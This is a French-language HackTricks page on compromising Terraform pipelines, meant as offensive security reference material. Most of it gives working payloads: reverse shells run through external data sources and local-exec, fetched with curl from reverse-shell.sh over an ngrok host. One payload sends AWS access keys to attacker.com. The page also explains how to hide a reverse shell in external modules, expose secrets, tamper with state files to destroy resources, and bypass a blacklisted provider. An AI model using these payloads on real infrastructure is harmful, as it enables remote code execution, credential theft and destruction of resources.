Terraform Security

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

D'après la documentation :

HashiCorp Terraform est un outil d'infrastructure en tant que code qui vous permet de définir à la fois des ressources cloud et sur site dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau tels que le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau tels que les entrées DNS et les fonctionnalités SaaS.

Comment fonctionne Terraform ?

Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs interfaces de programmation d'applications (API). Les fournisseurs permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible.

HashiCorp et la communauté Terraform ont déjà écrit plus de 1700 fournisseurs pour gérer des milliers de types de ressources et de services différents, et ce nombre continue de croître. Vous pouvez trouver tous les fournisseurs disponibles publiquement sur le Registre Terraform, y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres.

Le flux de travail de base de Terraform se compose de trois étapes :

  • Écrire : Vous définissez des ressources, qui peuvent être réparties sur plusieurs fournisseurs cloud et services. Par exemple, vous pourriez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau de cloud privé virtuel (VPC) avec des groupes de sécurité et un équilibreur de charge.

  • Planifier : Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration.

  • Appliquer : Sur approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances entre les ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et modifiez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles.

Laboratoire Terraform

Il suffit d'installer Terraform sur votre ordinateur.

Voici un guide et voici la meilleure façon de télécharger Terraform.

RCE dans Terraform

Terraform n'a pas d'interface exposant une page web ou un service réseau que nous pouvons énumérer, donc, le seul moyen de compromettre Terraform est de pouvoir ajouter/modifier des fichiers de configuration Terraform.

Cependant, Terraform est un composant très sensible à compromettre car il aura un accès privilégié à différents emplacements pour fonctionner correctement.

Le principal moyen pour un attaquant de pouvoir compromettre le système où Terraform s'exécute est de compromettre le dépôt qui stocke les configurations Terraform, car à un moment donné, elles vont être interprétées.

En fait, il existe des solutions qui exécutent automatiquement terraform plan/apply après la création d'une PR, telles que Atlantis :

pageAtlantis Security

Si vous parvenez à compromettre un fichier Terraform, il existe différentes façons de réaliser une RCE lorsque quelqu'un exécute terraform plan ou terraform apply.

Terraform plan

Terraform plan est la commande la plus utilisée dans Terraform et les développeurs/les solutions utilisant Terraform l'appellent tout le temps, donc le moyen le plus simple d'obtenir une RCE est de vous assurer de corrompre un fichier de configuration Terraform qui exécutera des commandes arbitraires dans un terraform plan.

Utilisation d'un fournisseur externe

Terraform propose le fournisseur external qui fournit un moyen d'interfacer entre Terraform et des programmes externes. Vous pouvez utiliser la source de données external pour exécuter du code arbitraire lors d'un plan.

Injecter dans un fichier de configuration Terraform quelque chose comme ce qui suit exécutera un shell inversé lors de l'exécution de terraform plan :

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Utilisation d'un fournisseur personnalisé

Un attaquant pourrait envoyer un fournisseur personnalisé au Registre Terraform puis l'ajouter au code Terraform dans une branche de fonctionnalité (exemple ici):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Le fournisseur est téléchargé dans l'init et exécutera le code malveillant lorsque plan est exécuté

Vous pouvez trouver un exemple dans https://github.com/rung/terraform-provider-cmdexec

Utilisation d'une référence externe

Les deux options mentionnées sont utiles mais pas très furtives (la deuxième est plus furtive mais plus complexe que la première). Vous pouvez effectuer cette attaque de manière encore plus furtive, en suivant ces suggestions :

  • Au lieu d'ajouter le shell inversé directement dans le fichier terraform, vous pouvez charger une ressource externe qui contient le shell inversé :

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Vous pouvez trouver le code de rev shell dans https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Dans la ressource externe, utilisez la fonction ref pour masquer le code de rev shell Terraform dans une branche à l'intérieur du dépôt, quelque chose comme : git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Application de Terraform

L'application de Terraform sera exécutée pour appliquer tous les changements, vous pouvez également en abuser pour obtenir une exécution de code à distance en injectant un fichier Terraform malveillant avec local-exec. Assurez-vous simplement qu'une charge utile comme les suivantes se termine dans le fichier main.tf :

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Suivez les suggestions de la technique précédente pour effectuer cette attaque de manière plus discrète en utilisant des références externes.

Exposition de secrets

Vous pouvez avoir les valeurs secrètes utilisées par terraform exposées en exécutant terraform apply en ajoutant quelque chose comme ceci au fichier terraform :

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abus des fichiers d'état Terraform

Dans le cas où vous avez un accès en écriture aux fichiers d'état Terraform mais ne pouvez pas modifier le code Terraform, cette recherche offre quelques options intéressantes pour tirer parti du fichier :

Suppression de ressources

Il existe 2 façons de détruire des ressources :

  1. Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire

Comme Terraform verra que la ressource ne devrait pas exister, il la détruira (en suivant l'ID de la vraie ressource indiquée). Exemple de la page précédente :

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modifier la ressource à supprimer de manière à ce qu'il ne soit pas possible de la mettre à jour (elle sera donc supprimée et recréée)

Pour une instance EC2, modifier le type de l'instance suffit à faire en sorte que Terraform la supprime et la recrée.

RCE

Il est également possible de créer un fournisseur personnalisé et simplement remplacer l'un des fournisseurs dans le fichier d'état Terraform par un fournisseur malveillant ou ajouter une ressource vide avec le fournisseur malveillant. Exemple issu de la recherche originale:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Remplacer le fournisseur sur liste noire

Dans le cas où vous rencontrez une situation où hashicorp/external a été mis sur liste noire, vous pouvez réimplémenter le fournisseur external en suivant les étapes suivantes. Note : Nous utilisons un fork du fournisseur externe publié par https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez également publier votre propre fork ou réimplémentation.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Ensuite, vous pouvez utiliser external comme d'habitude.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Outils d'audit

  • tfsec: tfsec utilise une analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.

  • terascan: Terrascan est un analyseur de code statique pour l'Infrastructure en tant que Code.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour